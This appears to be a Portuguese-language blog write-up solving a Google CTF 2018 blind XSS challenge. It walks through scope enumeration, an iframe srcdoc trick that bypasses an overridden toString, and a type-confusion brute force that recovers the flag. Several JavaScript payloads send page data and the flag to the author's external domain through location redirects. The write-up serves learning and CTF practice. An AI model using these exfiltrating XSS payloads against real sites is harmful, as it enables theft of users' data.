Google CTF Blind XSS

Em junho, a competição Google CTF foi realizada e as 10 melhores equipes voaram para Londres no mês passado para competir em uma competição fechada de Google CTF Finals.

Eu não participei da competição, mas um dos meus amigos participou e me enviou um link ao final. Eu imediatamente tentei resolver um dos desafios “fáceis” sobre hacking Web que existiam.

Acho que esse é um dos desafios mais difíceis que tive que resolver, durante a solução aprendi uma série de técnicas interessantes e quero compartilhá-las com vocês..

Para desafios: https://gctf-2018.appspot.com/#challenges

O desafio começa assim:

Vídeo mostrando a solução do desafio:

Clique no link e seguiremos para o próximo site:
Campo textarea para injeção de código blindxss
Você pode ver que encontramos Blind XSS no site, mas não sabemos quem o roda, quando e como? Nosso objetivo é tirar proveito do BlindXSS- e alcançar o-flag.

Comecei o desafio com minha varredura de escopo usando:

Object.keys(window);

Então, basicamente, obtemos todas as variáveis e funções definidas em nosso escopo:

Vemos o resultado no arquivo access.log do meu servidor apache2 em um domínio de meu controle www.gmailtracker.com:

Se olharmos mais de perto as variáveis ou compará-las com as variáveis no scope de um site na Internet, parece que a variável enter se difere do normal..

Portanto, a próxima etapa é visualizar o conteúdo da variável enter:

location="https://www.gmailtracker.com?aaaaa"%2benter

O resultado de realizar esta ação é:

Você pode ver que nós recebemos a sentença:

[No source code for you. Not on my watch not in my world]

Presumivelmente, eles implementaram nos bastidores um mecanismo que substitui a função toString e, portanto, não nos permite ver o código da função enter:

Se escrevermos o nome da função no console, veremos a seguinte resposta:

Se você prestar atenção, verá que esta é uma dica que indica que devemos recorrer a códigos de outro mundo “Not on my watch not in my world” A referência de outro mundo é o escopo, portanto, precisamos chamar este código atravéz de outra página.

Para fazer isso, você pode usar o iframe da seguinte forma:

<iframe srcdoc="<script>parent.output = Function.prototype.toString.call(parent.enter)</script>"></iframe>

Este iframe se tornará parent.enter e executará toString de outro escopo onde não ocorrerá override(subistituição) e irá inserir o resultado no escopo do-parent.

O código completo ficará assim:

Depois de executar o código vamos ver o output, e parece que agora podemos acessar o código da função enter e extrair a senha.

Vamos escrever um código que fará a mesma coisa dinamicamente e nos enviaremos o código para o servidor:

`payload=(function(){
s=document.createElement(‘iframe’)%3b
s.srcdoc = ‘<svg/onload=”parent.result=Function.prototype.toString.call(parent.enter)”>’%3b
document.head.appendChild(s)%3b

setTimeout(function(){
location=”https://www.gmailtracker.com/?”%2Bresult%3B
},50)%3b
})();
`

O resultado da execução do código será semelhante a este:

Você pode ver que a função enter contém a seguinte lógica:

Observe que o loop executa password.length, e password é uma variável que passamos para a função enter.

Se a senha for algum texto, então o comprimento é o comprimento do texto, mas se a senha for um objeto? Então podemos usar o objeto e inserir o comprimento do valor nele e causar uma type-confusion no loop.

Portanto, se inserirmos no código enter a seguinte senha:

{length: -1}

O loop for não existirá e nosso código será executado.

Então, se começarmos a mudar o comprimento e adicionar valores, será possível realizar um ataque de bruteforce (força bruta) leve no seguinte método:

Sabemos que a flag começa com uma palavra “}CTF” Portanto, é claro para nós que os primeiros quatro caracteres são “}CTF”, Portanto, temos que descobrir o quinto caractere usando intruder (Em vez do ponto de interrogação como no vídeo) E então, se enviarmos a seguinte solicitação:

payload=(function(){ enter({length: 4, 0:"C", 1:"T", 2:"F", 3:"{", 4:"?"}, 'location="https://www.gmailtracker.com/?"%2b"CTF{?"')%3b })();

Entendemos que a primeira letra da flag é a letra ‘D’

O payload (carga útil) final se parece com isto:

payload=(function(){ enter({length: 22, 0:"C",1:"T", 2:"F", 3:"{", 4: 'D', 5: '3', 6: 'F', 7: '3', 8: 'n', 9: 's', 10: 'i', 11: 'V', 12: '3', 13: '_', 14: 'J', 15: 'S', 16: '_', 17: '4', 18: 'E', 19: 'v', 20: '3', 21: 'r', 22: '}'}, 'location="https://www.gmailtracker.com/?"%2b"CTF{D3F3nsiV3_JS_4Ev3r}"')%3b })();

O que nos dará a seguinte senha:

Aprendi muito durante a resolução desse desafio e espero que vocês também 😊

Outros artigos que você pode ter interesse: